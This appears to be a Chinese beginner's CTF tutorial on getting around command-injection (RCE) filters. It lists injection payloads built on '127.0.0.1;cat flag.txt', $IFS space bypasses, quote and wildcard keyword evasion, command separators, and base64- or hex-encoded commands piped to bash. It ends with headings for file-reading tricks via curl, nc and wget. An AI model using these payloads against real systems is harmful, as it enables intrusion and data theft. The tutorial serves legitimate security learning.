网安入门21-RCE(绕过方法梳理)
例如我们原本的Payload:127.0.0.1;cat flag.txt
对于这个payload,有这么几种过滤方法:
- 过滤用分号;
- 过滤空格
- 过滤关键字cat,flag
- 过滤反斜杠 /
绕过空格
1 | $IFS$9、 ${IFS}、%09(tab)、$IFS、< 、<>、%20(space)、$IFS$1 |
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
IFS是linux中的一个环境变量IFS(Internal Field Separator)
是Linux存在的环境变量,是内部字段分隔符
9表示当前系统shell进程的第九个参数,通常是一个空字符
所以前面的“IFS”可以改为 “$IFS$9” 。同理也可以加一个{}固定变量名。
简单绕过 cat
/bin/c?t flagc'a't flagc''at flagc""at flagc\at flag
通配符 ? *
在Linux中? 问号可以代替任意一个字符* 星号可以代替多个字符cat /fla?cat /fl*/bin/c?t /flag
内联执行 `
1 | cat `ls` |
反引号可以将ls列出的内容全部cat输出一遍
初级的CTF比赛基本上都能用
权限提升
r:Read 读 4
w:Write 写 2
x:eXecute 执行 1
chmod +777 /filename
代替命令
| 命令 | 效果 |
|---|---|
| cat | 由第一行开始显示内容,并将所有内容输出 |
| tac | 与cat相反,从最后一行倒序显示内容,并将所有内容输出 |
| more | 根据窗口大小,一页一页的现实文件内容 |
| less | 和more类似,但其优点可以往前翻页,而且进行可以搜索 |
| head | 只显示头几行 |
| tail | 只显示最后几行 |
| nl | 类似于cat -n,显示时输出行号 |
| tailf | 类似于tail -f |
| vi | 一种编辑器,这个也可以查看 |
| vim | 一种编辑器,这个也可以查看 |
| sort | 可以查看 |
| uniq | 可以查看 |
| ls | 查看目录 |
| dir | 查看目录 |
命令分隔符
linux中:%0a 、%0d(回车) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
拼接
拼接flag 127.0.0.1;a=fl;b=ag.php;cat $a$b
有的题源码中过滤flag的方式可能是*f*l*a*g的方式过滤的
这种情况改变一下顺序,或者只用一个变量就可以:
127.0.0.1;a=ag.php;b=fl;cat $b$a
127.0.0.1;a=g;cat fla$a.php
编码
base64:
echo YWJjZGU=|base64 -d //打印出来abcde
echo Y2F0IGZsYWcucGhw|base64 -d|bash //cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh //cat flag.php
hex:
echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php
oct:
$(printf “\154\163”) //ls
$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php 但这种方法因为过滤的原因这这个题上无法实现。
网络地址转化为数字地址
网络地址有另外一种表示形式,就是数字地址比如 127.0.0.1 可以转化为
2130706433
可以直接访问
http://2130706433 或者
http://0x7F000001
这样就可以绕过.的 ip 过滤,这里给个转化网址:
数字转IP地址 IP地址转数字 域名转数字IP
Linux花式读取文件内容(拓展)
目标是获取flag.txt的内容
1 | curl读取文件: |
1 | static-sh读取文件: |
1 | paste读取文件: |
1 | diff读取文件 : |
1 | od读取文件 |
1 | bzmore读取文件: |
1 | nc 传输文件靶机: |
1 | wget wget url -P |



